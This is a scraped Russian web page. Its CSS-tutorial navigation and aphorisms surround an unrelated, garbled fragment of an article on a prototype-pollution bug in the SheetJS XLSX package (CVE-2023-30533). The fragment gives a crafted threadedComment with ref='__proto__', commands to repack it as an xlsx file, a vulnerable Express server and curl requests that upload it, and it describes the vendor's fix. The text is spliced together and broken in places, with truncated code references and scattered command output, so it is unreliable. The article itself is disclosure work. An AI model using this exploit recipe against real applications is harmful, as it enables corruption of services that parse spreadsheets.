Невозможно отучить людей изучать самые ненужные предметы.
Введение в CSS
Преимущества стилей
Добавления стилей
Типы носителей
Базовый синтаксис
Значения стилевых свойств
Селекторы тегов
Классы
CSS3
Надо знать обо всем понемножку, но все о немногом.
Идентификаторы
Контекстные селекторы
Соседние селекторы
Дочерние селекторы
Селекторы атрибутов
Универсальный селектор
Псевдоклассы
Псевдоэлементы
Кто умеет, тот делает. Кто не умеет, тот учит. Кто не умеет учить - становится деканом. (Т. Мартин)
Группирование
Наследование
Каскадирование
Валидация
Идентификаторы и классы
Написание эффективного кода
Вёрстка
Изображения
Текст
Цвет
Линии и рамки
Углы
Списки
Ссылки
Дизайны сайтов
Формы
Таблицы
CSS3
HTML5
Блог для вебмастеров
Новости мира Интернет
Сайтостроение
Ремонт и советы
Все новости
Справочник от А до Я
HTML, CSS, JavaScript
Афоризмы о учёбе
Статьи об афоризмах
Все Афоризмы
| Помогли мы вам |
else sheet[comment.ref] = cell;Для дальнейшего анализа важно понимать, что такое comment.. Это значение попадает в код из файла threadedCommentXXX. (где XXX — номер документа с комментариями). Пример:
<threadedComment ref="G7" dT="2023-04-11T09:41:09.71" personId="{29DB960B-0822-594C-AB20-3D499FA339C7}" id="{962D1EF3-37F7-FF40-983D-B0762466C0AF}">Обычно, когда файл создается в редакторе электронных таблиц, это не вызывает проблем, так как адреса ячеек редактор сгенерирует автоматически и это будут допустимые значения.
Однако разработчики пакета XLSX не учли, что злоумышленник может вручную создать файл XLSX с произвольным содержимым и специально сформировать адреса ячеек.
; Вносим изменение в желаемые файлы
7z a NotNormal.zip ./[Content_Types].xml _rels/docProps/xl
mv NotNormal.zip NotNormal.xlsx
Для успешной эксплуатации загрузим обычный файл, но с таким threadedComment:
<threadedComment ref="__proto__" dT="2023-04-11T09:41:09.71" personId="{29DB960B-0822-594C-AB20-3D499FA339C7}" id="{962D1EF3-37F7-FF40-983D-B0762466C0AF}">В таком случае значение comments. будет равно __proto__, а cell будет содержать Object .
Далее в коде функции находим обращение к cell:
if (!cell.c) cell.c = [];Так как переменная содержит prototype, то массив запишется в свойство c прототипа объекта. Это приведет к тому, что при дальнейших проверках все комментарии будут записываться в один массив, так как значение cell. будет всегда определено. Разработчикам следовало использовать такую конструкцию:
if (!cell.hasOwnProperty("c")) cell.c = [];Давай набросаем доказательство концепции:
const express = require('express');const fileUpload = require('express-fileupload');const app = express();const XLSX = require("xlsx");// Middleware для обработки файловapp.use(fileUpload());// Получение POST-запроса c обработкой загруженного файлаapp.post('/process', function(req, res) { if (!req.files || Object.keys(req.files).length === 0) {return res.status(400).send('Не найдены загруженные файлы.'); } // Получение загруженного файла const uploadedFile = req.files.file; let a = XLSX.read(uploadedFile.data); /*Далее может следовать любая обработка файла и т. д.*/ res.send('Файл успешно обработан.');});// Обработка GET-запроса c выдачей простого документаapp.get('/getSample', function(req, res) { var ws = XLSX.utils.aoa_to_sheet([["SheetJS"], [5433795],[123123]]); var wb = XLSX.utils.book_new(); XLSX.utils.book_append_sheet(wb, ws, 'Sheet1'); const xlsxData = XLSX.write(wb, { type: 'buffer' }); // Возврат обработанного файла res.set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'); res.set('Content-Disposition', 'attachment; filename="processed_file.xlsx"'); res.send(xlsxData);});// Запуск сервераapp.listen(3000, function() { console.log('Сервер запущен на порте 3000');});Этот скрипт принимает файл для обработки на эндпоинте /, а при запросе / возвращает пример обычного файла XLSX (который не содержит комментариев).
Сделаем несколько запросов на сервер. Сначала обратимся к / и откроем файл, чтобы просмотреть его содержимое:
$ curl http://localhost:3000
/getSample -o sample.xlsx
% Total
% Received % Xferd Average Speed
Time
Time
Time Current
Dload Upload
Total
Spent
Left Speed
0
0
0
0
0
0
0
0 --:--:-- --:--:-- --:--100 22023 100 22023
0
0 1312k
0 --:--:-- --:--:-- --:--:-- 1955k
$ open sample.xlsx
А теперь выполним серию запросов с нашим специальным файлом:
$ curl -X POST --form file=@
/Users/slonser/hack_xslsx/slon.xlsx http://localhost:3000/process
Файл успешно обработан.⏎
$ curl http://localhost:3000
/getSample -o sample.xlsx
% Total
% Received % Xferd Average Speed
Time
Time
Time Current
Dload Upload
Total
Spent
Left Speed
0
0
0
0
0
0
0
0 --:--:-- --:--:-- --:--100 22023 100 22023
0
0 1312k
0 --:--:-- --:--:-- --:--:-- 1955k
$ open sample.xlsx
В версии 0.19.3 пакета XLSX разработчики постарались устранить этот баг. Они добавили такую проверку:
var r = decode_cell(comment.ref);if(r.r < 0 || r.c < 0) return;Теперь, если comment. содержит невалидное название ячейки таблицы, выполнение функции прервется.
Багу выдан идентификационный номер CVE-2023-30533.
Мы продолжили изучать функции, связанные с комментариями, и обнаружили возможность модифицировать файлы person и threadedComment внутри ZIP-архива.
|
|
|

